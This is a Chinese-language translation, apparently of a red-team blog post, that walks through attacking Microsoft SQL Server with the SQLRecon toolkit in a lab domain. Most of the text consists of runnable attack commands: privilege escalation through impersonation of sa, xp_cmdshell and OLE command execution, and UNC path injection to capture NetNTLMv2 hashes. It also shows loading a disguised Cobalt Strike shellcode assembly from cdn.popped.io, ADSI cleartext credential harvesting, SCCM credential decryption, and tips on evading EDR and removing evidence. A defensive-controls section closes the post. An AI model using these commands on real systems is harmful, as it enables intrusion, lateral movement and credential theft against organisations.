数据库:当心 SQLRecon 滥用 Microsoft SQL Server

2023年 8月 16日 58.5k 0

在我的职业生涯中,我有幸一睹世界上一些最大组织的面纱。根据我的经验,大多数垂直行业都依赖企业 Windows 网络。事实上,我见过去中心化零信任网络、企业 Linux、macOS 网络或 Active Directory 替代方案 (FreeIPA) 的次数一只手就能数得过来。

当我浏览这些大型且通常很复杂的企业网络时,经常会发现 Microsoft SQL Server,它们通常被部署来支持业务功能。对于不熟悉 SQL Server 的读者来说,总而言之,它是一种关系数据库软件,通常安装在 Windows 服务器上。SQL Server 的主要目的是存储数据并向应用程序或用户提供数据。

这篇博文将回顾 SQL Server 提供的攻击面,以及如何使用 X-Force Red 工具滥用错误配置和漏洞SQLRecon。此外,将在适用的情况下概述防御性考虑因素。

微软SQL服务器

SQL Server 中的漏洞和错误配置已得到详细记录。虽然这些弱点似乎一直存在,但以某种方式强化 SQL Server 仍然经常被防御团队忽视。我主要指的是强化底层配置并防止对服务的简单访问。

这种监督的一个合理理由是,组织需要优先考虑和解决更大的风险。结果,强化 SQL Server 就被搁置了,因为修改生产数据库配置可能会导致可用性问题,这可能会表现为操作问题并最终影响业务生产力。

常见漏洞和错误配置

我在企业网络中继续看到的最常见的错误配置之一是任何经过身份验证的域对象都能够作为低权限帐户连接到 SQL 服务。这仅需要有效的域上下文。换句话说,域用户或域计算机帐户的有效令牌。

举个例子,如果普通企业用户的工作站受到威胁,并且存在通往配置错误的 SQL Server 的网络路由,则攻击者可能会:

  • 在远程 SQL Server 上执行有限的 SQL 命令。
  • 确定他们拥有的特权,这可能会通过模拟式攻击提供升级机会。
  • 指示 SQL Server 通过向通用命名约定 (UNC) 路径发出请求来提供身份验证材料,这可能会导致获取散列凭据,进而可以破解或转发该凭据以执行中继式攻击。
  • 附带分配给链接到其他 SQL Server 的 SQL Server 的权限,这可能会导致权限升级。

这些只是攻击者在域上下文中评估配置错误的 SQL Server 时可以实现的一些示例。SQL Server 呈现的攻击面始终取决于您面临的环境和配置。

为什么现在关注 Microsoft SQL Server 攻击?

最近,红队操作员因各种 Active Directory 滥用而受益匪浅,这些滥用可用于提升 Microsoft 企业网络中的特权。然而,随着防御团队开始设法缓解这些弱点,通过滥用 Active Directory 来提升权限的途径自然会趋于枯竭。

尽管如此,我们仍然坚持不懈,沿着众所周知的攻击清单前进,乐观地寻求升级路径,以帮助我们实现我们的目标。我有点不愿意承认,在很长一段时间里,攻击 SQL Server 对我来说是一个很遥远的事情。相反,我选择优先考虑共享存储空间、内部 Web 应用程序、DevOps 工具或云基础设施等内容。你大概可以明白我要说的是什么了……

2022 年的某个时候,我正处于交战状态,在用尽所有首选升级路径后,我陷入了停滞点。这主要是由于异常坚固的环境。至少,在我发现一个大型 SQL Server 场之前我是这么想的,那里肯定存在配置错误或漏洞。

当时我并不知道,直到写完这篇博文后,我才发现卡巴斯基发现,2022 年使用 SQL Server 的重复攻击增加了 56%。这是一个惊人的数字。

攻击微软 SQL Server

作为一名红队操作员,我经常使用命令和控制 (C2) 框架与我在客户网络中受到损害的系统进行交互。我们有幸合作的客户通常拥有成熟的网络安全计划、有能力的防御团队和现代安全控制,例如端点检测和响应(EDR)解决方案。

多年来已经开发了多种攻击 SQL Server 的工具。在我的笔测试期间我总是最终达到的目标是PowerUpSQL. 这是一个由 Scott Sutherland ( @_nullbind )创建的项目,主要在 PowerShell 中开发。

EDR 解决方案可能是一个强大的对手,因为它们在检测专为攻击性安全而设计的恶意开源工具方面表现出色,尤其是那些依赖 PowerShell 的工具。这并不是要轻视 PowerShell 后利用工具,它们是有目的的,只是不是为了解决我在所处环境中遇到的问题。

PowerShell 很好,但 C# 更好

我在参与过程中遇到的问题是,我需要找到一种方法来连接到 Microsoft SQL Server 并开始询问它们以确定是否存在任何错误配置或漏洞。然而,使用任何现有的 SQL Server 后利用工具(依赖于 PowerShell)肯定会被防御团队抓住。这是由于多种原因造成的,我不会详细说明,但由于AMSI、受限语言模式和各种日志记录等安全功能,PowerShell 并不是进行后利用攻击的理想工具。。当 EDR 解决方案以及其他日志记录和监控控制到位时,这种情况只会进一步复杂化。

作为替代方案,红队操作员通常选择 C# 作为开发后利用工具的语言,因为它提供了一种与 .NET 框架以及 Windows API 交互的简单方法。

我绝不是 C# 或 .NET 开发人员,但我的知识足以编写解决我面临的问题的工具。Queue SQLRecon,一个 C# SQL 工具包,专为进攻性侦察和后期利用而设计。

SQL侦察

SQLRecon通过现代化红队操作员在攻击 SQL Server 时可以采取的方法,帮助解决利用后工具缺口。该工具被设计为模块化,易于扩展。SQLRecon独立兼容或在一组不同的 C2 框架内兼容。当使用后者时,可以在进程内SQLRecon执行或通过传统的fork 和 run执行。

SQLRecon有超过 80 个模块可供选择。下面列出了 提供的一些功能的高级概述SQLRecon:

身份验证提供商

  • 本地 SQL 数据库帐户
  • 基于当前令牌的 Windows 域身份验证
  • 使用用户提供的凭据进行 Windows 域身份验证
  • Azure 域身份验证
  • Azure 本地身份验证

枚举模块

  • 找到与服务主体名称 (SPN) 关联的 SQL Server
  • 获取有关 SQL 服务的信息
  • 确定 SQL Server 中的权限
  • 列出数据库、表、列和用户
  • 搜索数据库内容
  • 执行任意查询
  • 枚举可模拟的用户
  • 识别链接的 SQL Server

命令执行、横向移动和权限提升

  • xp_cmdshell
  • OLE 自动化程序
  • 加载并执行自定义 .NET CLR 程序集
  • SQL 代理作业
  • ADSI 凭证收集

操作安全

  • 持续的身份验证验证
  • 广泛的命令行日志记录
  • 基于 SQL Server 选项启用还是禁用的执行护栏
  • 参数错误处理
  • 在适用的情况下创建随机字母数字 SQL 内容
  • 自动清理在 SQL Server 中创建的数据以执行命令

其他

  • 能够切换数据库上下文
  • 连接到侦听非标准 TCP 端口的 SQL Server
  • 支持模拟式攻击
  • 能够枚举和攻击链接的 SQL Server
  • 支持各种 Microsoft System Center Configuration Manager (SCCM) 和 Microsoft Endpoint Configuration Manager (ECM) SQL 数据库攻击
  • 所有 SQL 查询都使用System.Data.SqlClientMicrosoft 开发的命名空间

有关每种技术的详细使用信息,请参阅wiki。

使用 SQLRecon

JSmith为了为即将到来的演示做好准备,我将在企业网络中属于 Jeff Smith ( ) 的一台受感染的 Windows 10 工作站上进行操作kawalabs.local。

Jeff 的工作站有一个到三个 SQL Server 的网络路由,每个 SQL Server 都运行不同的版本;2016 年、2019 年和 2022 年。

和之间已配置了一条SQL 链接, 和之间已配置了另一个 SQL 链接。对于不熟悉链接 SQL Server 的读者来说,这实际上允许一个 SQL 实例在另一个 SQL 实例上执行 SQL 语句。例如,可以在 上执行 SQL 语句,可以在 上执行语句,但不能在 上执行语句,反之亦然。在真实的企业网络中经常可以看到链接的 SQL Server。SQL01SQL02SQL02SQL03SQL01SQL02SQL02SQL03SQL01SQL03

此外,域中的主域控制器与Active Directory 服务 (ADSI) 链路之间存在。ADSI 链接为 SQL Server 提供了一种与 Active Directory 对象交互的方法。SQL03kawalabs.localDC01

最后,该kawalabs.local域已kawalabs.onmicrosoft.com使用Azure AD Connect连接到 Azure Active Directory 域。这允许本地 Active Directory 用户kawalabs.local访问 Azure 云中的资源。Azure  kawalabs.onmicrosoft.comAD 租赁包含一个存储付款数据的 SQL Server ECOM01。

图1:网络配置图1:网络配置

此外,我将利用Cobalt Strike(一种流行的命令和控制框架)从 Jeff 受感染的工作站 ( DESKTOP-LF8Q3C6) 执行攻击后任务。在下面的屏幕截图中,我已经执行了该whoami命令。这只是为了表明 Jeff 不是特权用户,并且在kawalabs.local域和更广泛的网络中拥有基本权限。

图 2:发出whoami命令图 2:发出whoami命令

枚举

在撰写本文时,SQLRecon有两个枚举模块可用于发现网络中的 SQL Server,以及获取有关 SQL Server 实例的一些信息。以下命令将枚举 Active Directory服务主体名称 (SPN)并确定是否为 SQL Server 设置了任何 SPN。在kawalabs.local域中,有一个为几个不同帐户设置的 SPN,如下面的屏幕截图所示。

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

图 3:通过 SPN 集合发现 SQL Server图 3:通过 SPN 集合发现 SQL Server

该info模块对于获取有关服务器的附加信息非常有用。下面的示例演示了从 SQL Server 检索的信息类型。

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

图4:获取信息SQL02图4:获取信息SQL02

向 Daniel Duggan ( @_RastaMouse )致敬,感谢他对SQLRecon.

标准模块

标准模块针对单个 SQL Server 实例执行。

在以下示例中,我使用AzureAD身份验证提供程序,它使用 Azure Active Directory 帐户的用户名和密码对ECOM01位于 Azure 云中的 SQL 实例进行身份验证。然后,我使用该whoami模块来确定 Jeff 拥有的权限ECOM01。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

图 5:枚举 SQL 权限jsmith@kawalabs.onmicrosoft.com图 5:枚举 SQL 权限jsmith@kawalabs.onmicrosoft.com

默认情况下,SQLRecon将连接到master数据库,因为该数据库通常存在于所有 SQL Server 实例上。但是,您可以使用该databases模块轻松列出 SQL Server 实例上的所有不同数据库。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

图 6:枚举数据库ECOM01图 6:枚举数据库ECOM01

您可以通过使用标志指定数据库名称来连接到其他数据库/database:,并转发您想要执行的任何模块。在下面的示例中,我连接到Payments数据库ECOM01并执行自定义 SQL 查询,该查询将从cc表中获取所有内容。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

cc图7:从数据库表中Payments获取虚拟卡数据ECOM01cc图7:从数据库表中Payments获取虚拟卡数据ECOM01

进入一些更有趣的模块,SQLRecon支持 UNC 路径注入,这可以由低权限用户帐户执行,例如KAWALABSJSmith. 这可能会导致获得散列凭证,而该凭证又可以被破解或转发以执行中继式攻击。在以下示例中,我使用WinToken身份验证提供程序(它使用用户帐户的令牌)KAWALABSJSmith对SQL02本地服务器进行身份验证。

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\172.16.10.19Projects

图 8:UNC 路径注入图 8:UNC 路径注入

SQL02在下面的屏幕截图中,我们可以看到与我们控制的主机(172.16.10.19)建立的连接。这将导致获取KAWALABSmssql_svc域帐户的 NetNTLMv2 哈希值。

图 9:获取 NetNTLMv2 哈希值KAWALABSmssql_svc图 9:获取 NetNTLMv2 哈希值KAWALABSmssql_svc

SQLRecon拥有多种命令执行模块,可用于在底层系统上执行任意命令。如果您正在寻求执行权限升级和/或横向移动,这尤其有用。整个过程中都实施了重要的护栏SQLRecon,以确保默认启用操作安全性。两个主要护栏是:

  • 连续身份验证验证,SQLRecon将在执行任何模块之前验证是否可以针对域或 SQL Server 进行身份验证。
  • 执行护栏,SQLRecon将在执行加载对象、创建对象或执行命令的任何模块之前验证是否存在最佳条件。

xp_cmdshell长期以来,它一直是最常见的方法之一,可以通过 SQL 数据库在底层服务器上执行命令。在以下示例中,我使用低权限KAWALABSJSmith帐户尝试notepad.exe在 上启动应用程序SQL01。

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

图 10:防止命令执行的护栏演示图 10:防止命令执行的护栏演示

如上图所示,遇到执行护栏,并收到一条错误消息,表明该护栏xp_cmdshell已被禁用。这通常是大多数 SQL Server 版本上的默认配置。好处是,SQLRecon有一个enableXp模块,可以启用xp_cmdshell配置。SQLRecon还有一个disableXp模块,以便您可以在执行命令后恢复到原始安全状态xpCmd。

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

图 11:另一个护栏的演示,其中权限不足会阻止命令执行图 11:另一个护栏的演示,其中权限不足会阻止命令执行

正如预期的那样,低权限KAWALABSJSmith帐户遇到了执行护栏,并收到一条消息,表明他们没有启用或禁用所需的权限xp_cmdshell……是吗?

滥用冒充行为

SQL 模拟是一种特殊权限,本质上使用户或组能够使用另一个用户的权限以及他们自己的权限进行操作。以下截图取自后端配置SQL02,演示了BUILTINUsers可以模拟sa账户。

图12:BUILTINUsers可以模拟sa账户SQL02图12:BUILTINUsers可以模拟sa账户SQL02

SQLRecon有一个impersonate模块可以帮助确定用户帐户是否可以冒充另一个用户。

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

如下面的屏幕截图所示,KAWALABSJSmith低权限用户帐户可以模拟sa上的帐户SQL02。这演示了使用类似管理员权限在 SQL 实例上执行命令的能力。此外,这意味着我们现在可以在底层服务器上执行系统命令。

图 13:枚举可被模拟的帐户SQL02图 13:枚举可被模拟的帐户SQL02

为了演示另一个命令执行模块,可以使用OLE 自动化过程SQLRecon对底层用户执行命令。这使用程序集与 COM 对象交互,以便可以用来运行任意系统命令。odsole70.dllwscript.shell

模拟模块始终以字母 开头i,并且这些模块将需要要模拟的帐户的名称。SQL02在以下示例中,我作为低权限帐户连接KAWALABSJSmith并模拟该sa帐户以在SQL02.

SQLRecon.exe / a:WinToken /h:SQL02 /i:sa /m:iEnableOle

图 14:使用模拟启用 OLE 自动化过程

现在,OLE 自动化过程已在 上启用SQL02,我可以在已启动 SQL Server 进程的用户帐户的上下文中在底层服务器上执行任何任意命令。在以下示例中,我执行一个 PowerShell 子进程,该进程列出了之前用于捕获 NetNTLMv2 凭据的同一共享的目录。请记住,这主要是为了演示目的,而不是通常在对手模拟交战中执行的操作。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \172.16.10.19Projects"

图 15:使用 PowerShell 列出远程主机上的目录图 15:使用 PowerShell 列出远程主机上的目录

如上面的屏幕截图所示,创建了一个随机生成的 OLE 对象和方法,然后执行恶意命令,并销毁 OLE 对象。这是故意的,因为我们不想留下任何我们行为的证据。

KAWALABSmssql_svc在下面的屏幕截图中,我们可以看到用户帐户通过SQL02我们控制的主机(172.16.10.19)建立的连接。这将导致获取KAWALABS mssql_svc计算机帐户的 NetNTLMv2 哈希值。

图 16:获取 NetNTLMv2 哈希值KAWALABSmssql_svc图 16:获取 NetNTLMv2 哈希值KAWALABSmssql_svc

以下示例演示了使用模拟来tasklist使用xp_cmdshellon执行命令SQL02。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

图 17:xp_cmdshell使用模拟启用并执行系统命令SQL02图 17:xp_cmdshell使用模拟启用并执行系统命令SQL02

将配置恢复到原来的状态始终是一个好习惯。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

图 18:禁用 OLE 自动化过程xp_cmdshell等SQL02图 18:禁用 OLE 自动化过程xp_cmdshell等SQL02

攻击链接的 SQL Server

SQLRecon还可以对链接的 SQL Server 实例执行攻击。以下屏幕截图取自 的后端配置SQL02,并演示了SQL02具有指向 的链接SQL03。根据我的经验,这是大型企业网络中的常见配置。

图 19:SQL02有一个 SQL 链接SQL03图 19:SQL02有一个 SQL 链接SQL03

配置从一个 SQL Server 实例到另一个 SQL Server 实例的链接通常需要一组特权凭据来建立和绑定该链接。这对攻击者来说是有利的,因为它允许在已建立连接的帐户的上下文中在链接的 SQL Server 上执行命令。另一个需要考虑的问题是,链接服务器可能与对手正在操作的网络分开。这可能提供穿越分段边界并进入安全要求更高的网络区域的机会。

SQLRecon有一个links模块可以确定 SQL Server 是否有任何链接的 SQL 实例。

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

图 20:枚举链接的 SQL 服务器SQL02图 20:枚举链接的 SQL 服务器SQL02

链接模块始终以字母 开头l,并且这些模块需要您要对其发出命令的链接服务器的名称。SQL02在以下示例中,我作为低权限帐户连接并对链接的实例KAWALABSJSmith发出命令。lWhoamiSQL03

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

SQL03图 21:枚举我们可以通过以下方式承担的 SQL 权限SQL02SQL03图 21:枚举我们可以通过以下方式承担的 SQL 权限SQL02

如上面的屏幕截图所示,我们正在sa上的帐户上下文中进行操作SQL03。这是因为该sa帐户用于建立从SQL02到 的SQL 链接SQL03。

SQLRecon链接的 SQL Server 完全支持其中的所有执行模块。在以下示例中,我在SQL02.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

图 22:启用 CLR 集成SQL02图 22:启用 CLR 集成SQL02

CLR 集成允许将自定义 .NET 汇编导入到 SQL Server 中。这些程序集在执行之前存储在存储过程中。这是一个很好的横向移动攻击原语。

在下面的屏幕截图中,我创建了一个名为 的自定义 SQL Server CLR 兼容 .NET 程序集hollow.dll。这会将 Cobalt Strike 有效负载存储到名为 的存储过程中ExecuteShellcode。有效负载执行基本的进程空洞并将 Cobalt Strike shellcode 注入新生成的 Internet Explorer ( iexplore.exe) 进程。

图 23:hollow.dllSQL Server CLR 兼容的 .NET 程序集图 23:hollow.dllSQL Server CLR 兼容的 .NET 程序集

如果您有兴趣了解有关自定义 SQL Server CLR 兼容 .NET 程序集的更多信息,请访问wiki的ClrSQLRecon部分。可以在此处hollow.dll找到的示例。

在下面的演示中,我已上传hollow.dll到 Web 服务器并将程序集重命名为favicon.png. 我指示链接服务器从 Web 服务器SQL03下载并执行必要的步骤,将自定义程序集导入 SQL Server 存储过程并执行有效负载。favicon.png这会导致KAWALABSmssql_svc在 上的用户上下文中获得 Cobalt Strike 信标SQL03。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

KAWALABSmssql_svc图 24:在on的上下文中获取 Cobalt StriKAWALABSmssql_svc图 24:在on的上下文中获取 Cobalt Stri

当然,前面的示例需要SQL03具有 Internet 访问权限才能从面向公众的 Web 服务器下载程序集。在某些情况下,从面向公众的 Web 服务器下载外部资源是不可能或不可取的。因此,SQLRecon允许直接从受感染主机的文件系统或 SMB 共享加载自定义程序集。在下面的演示中,我已上传hollow.dll到本地 SMB 服务器并将程序集重命名为Reports.xlsx. 我指示链接服务器从 SMB 服务器SQL03下载并执行必要的步骤,将自定义程序集导入 SQL Server 存储过程并执行有效负载。Reports.xlsx这会导致KAWALABSmssql_svc在 上的用户上下文中获得 Cobalt Strike 信标SQL03。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\172.16.10.19ProjectsReports.xlsx /function:ExecuteShellcode

图 25:在以下环境中获取 Cobalt Strike 信标KAWALABSmssql_svcc图 25:在以下环境中获取 Cobalt Strike 信标KAWALABSmssql_svc

攻击链接的 SQL Server – ADSI 滥用

SQLRecon还可以对链接的 ADSI 服务器实例执行攻击,以获取域帐户的明文凭据。有关 ADSI tradecraft 的更多信息,请参阅 Tarlogic博客文章。以下屏幕截图取自后端配置SQL03,演示了到域SQL03中主域控制器的 ADSI 链接。此 ADSI 链接由对象表示。kawalabs.localDC01linkADSI

图 26:SQL03有一个 ADSI 链接到DC01图 26:SQL03有一个 ADSI 链接到DC01

配置从 SQL Server 实例到 Active Directory 域控制器的 ADSI 链接不一定需要特权凭据。然而,在实际操作中,我见过没有应用最小特权原则的情况。

在以下示例中,我使用该lLinks模块首先连接到SQL02,然后查询SQL03其他链接的 SQL Server。您可以将其视为双链接场景。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

SQL03图 27:枚举from上的链接SQL02SQL03图 27:枚举from上的链接SQL02

现在我们已经验证了 ADSI 链接存在于 上SQL03,我们可以利用该模块来获取用于配置从到 的lAdsiADSI 连接的明文域凭据。这涉及将包含LDAP 服务器的自定义 CLR 程序集上载到上的新SQL Server 运行时例程中。然后,LDAP 服务器将在用户提供的端口(本例中为 49103)上执行并侦听仅限本地的连接。然后,我们利用 SQL Server 代理作业SQL03DC01SQL03SQL03引导用于配置 ADSI 连接的凭据,以在端口 49103 上向本地 LDAP 服务器请求 LDAP 请求。此临时 LDAP 身份验证重定向最终会导致获取明文域凭据。应该注意的是,Adsi和iAdsi模块不使用 SQL Server 代理作业来启动 LDAP 请求过程,而是使用标准 SQL 查询。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

图 28:双链路 ADSI 凭据收集攻击图 28:双链路 ADSI 凭据收集攻击

SCCM模块

最大的扩展之一SQLRecon来自我的同事 Dave Cossa ( @G0ldenGunSec ),他引入了各种可用于滥用 Microsoft System Center Configuration Manager (SCCM) 和 Microsoft Endpoint Configuration Manager (ECM) 的模块。SCCM 模块是在现实世界的参与的基础上开发的,其中滥用 SCCM SQL Server 数据库有助于进一步推动我们实现目标。在大多数情况下,要与 SCCM 数据库交互,需要获取提升的权限上下文,或者需要获取对 SCCM 服务器的访问权限。在下面的示例中,我有一个 Cobalt Strike 信标在KAWALABSmssccm_svcECM 服务器上的帐户上下文中运行MECM01。

从现在起,我将把 ECM 和 SCCM 简称为 SCCM。

在下面的示例中,我使用该databases模块枚举 上 SQL Server 实例中存在的数据库MECM01。

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

图 29:枚举数据库MECM01图 29:枚举数据库MECM01

如上面的屏幕截图所示,CM_KAW数据库存在,这很可能是为此服务器上的 SCCM 配置的数据库。

SCCM 模块始终以字母 开头s,并且这些模块需要您要对其发出命令的 SCCM 数据库的名称。在以下示例中,我以帐户身份连接到CM_KAW数据库并发出命令。此模块枚举配置为登录 SCCM 服务器的所有主体。MECM01KAWALABSmssccm_svcsUsers

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

图 30:枚举可以通过 SCCM SQL Server 数据库登录 SCCM 的所有用户图 30:枚举可以通过 SCCM SQL Server 数据库登录 SCCM 的所有用户

还可以使用该sTaskList模块枚举 SCCM 中配置的任务。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sTaskList

图 31:通过 SCCM SQL Server 数据库枚举 SCCM 中配置的任务图 31:通过 SCCM SQL Server 数据库枚举 SCCM 中配置的任务

SCCM 通常需要保管凭证,这些凭证用于对环境中的系统或资源进行身份验证,以部署软件包或执行 SCCM 提供的任何其他各种操作。使用该sCredentials模块,我们可以获得保管凭证的列表。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

图 32:通过 SCCM SQL Server 数据库获取保管凭证图 32:通过 SCCM SQL Server 数据库获取保管凭证

在上面的屏幕截图中,我们可以看到一个凭证已被保管,这是该KAWALABSmssccm_svc帐户的凭证。

使用 Adam Chester ( @_xpn_ )的逻辑,可以解密 SCCM 保管凭证并获取保管帐户的明文密码。这确实需要 SCCM 服务器上的本地管理员权限。在下面的屏幕截图中,我使用该sDecryptCredentials帐户来解密该KAWALABSmssccm_svc帐户保管的凭据。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

图 33:解密存储的 SCCM 凭证图 33:解密存储的 SCCM 凭证

防守方面的考虑

为了防止攻击者滥用 SQL Server,防御者在实施安全控制时可以采取分层方法。首先,我强烈建议您阅读有关 SQL Server安全最佳实践的Microsoft 官方指南。

下一站应该是SQLReconwiki中的预防、检测和缓解指南,其中有一些出色的防御考虑因素。我挑选了一些要实施的更重要的控件,并将它们列在下面。

网络安全控制

在网络级别实施时应考虑以下安全控制。

  • 确保到 SQL Server 的网络路由已被考虑并仅限于一组授权的系统或子网。工作站很少需要能够直接与 SQL Server 通信。如果可行,请考虑阻止对 TCP 1433 的访问。
  • 验证网络日志记录和监视工具是否正在捕获穿越网络边界的 SQL 查询。工作站将 SQL 查询发送到 SQL 服务器是不常见的。

端点安全控制

在环境中的工作站和服务器上实施时应考虑以下安全控制。

  • 验证基于主机的安全控制(例如端点检测和响应解决方案)是否已启用,以及产品签名是否定期完全更新。
  • 防御者应确保 .NET Framework v4.8 安装在 Windows 端点上,并且使用的任何基于主机的安全产品都支持 .NET 的 AMSI。这允许扫描内存中的.NET 程序集。
  • SQLRecon启用或配置应用程序白名单解决方案,以防止直接在端点上执行未签名的二进制文件,例如。

Microsoft SQL Server 安全控制

  • 确保底层 Windows Server 操作系统遵循强化准则。考虑仅安装必要的 SQL 数据库组件。
  • 确保 SQL Server 包含在组织的补丁管理策略中,并且定期对 SQL 服务和 SQL Server 应用补丁。
  • 考虑限制或删除BUILTINUsers帐户对 SQL Server 实例进行身份验证。
  • 在用户帐户上配置角色时遵循最小权限原则。此原则也应适用于启动 SQL Server 的服务帐户。
  • 删除不必要的 SQL 服务主体名称关联。
  • 对任何本地帐户(例如sa帐户)使用强密码。
  • 记录、集中提取和审核 SQL Server 登录事件。Netwrix写了一篇很棒的博客,介绍了如何实现这一目标。
  • 加密敏感内容。即使 SQL Server 受到威胁,这也可以保护数据集不被泄露。
  • 评估 SQL 服务器之间的链接并确定绑定该链接的身份验证类型。如果可能,选择使用当前的身份验证安全上下文,而不是使用帐户的上下文sa
  • 评估已配置的任何模拟并确定其要求。
  • 如果使用 Azure SQL 数据库,请确保启用 Microsoft 高级威胁防护并将其配置为发送警报。

结论

针对 SQL Server 的攻击在当今的网络安全领域仍然具有重要意义。攻击者不断发展其技术来逃避防御控制,为此,他们越来越多地利用 SQL Server 等辅助服务。这些攻击变得更加复杂和隐蔽,通常采用不太常见的技术来绕过传统的安全措施。

通过滥用 SQL Server,攻击者可以获得对敏感数据的未经授权的访问、操纵数据库,甚至危及整个系统。此类攻击的后果可能很严重,导致数据泄露、财务损失和组织声誉受损。

为了降低这些攻击的风险,组织必须检查其 SQL Server 配置并采用最佳安全实践。此外,组织应该投资提供实时监控、异常检测和行为分析功能的安全解决方案。这些解决方案可以帮助更有效地检测和响应攻击,最大限度地减少对关键数据和系统的潜在影响。通过采取主动措施来保护 SQL Server 环境,组织可以显着降低成为这些攻击受害者的风险并保护其宝贵的数据资产。

相关文章

Oracle如何使用授予和撤销权限的语法和示例
Awesome Project: 探索 MatrixOrigin 云原生分布式数据库
下载丨66页PDF,云和恩墨技术通讯(2024年7月刊)
社区版oceanbase安装
Oracle 导出CSV工具-sqluldr2
ETL数据集成丨快速将MySQL数据迁移至Doris数据库

发布评论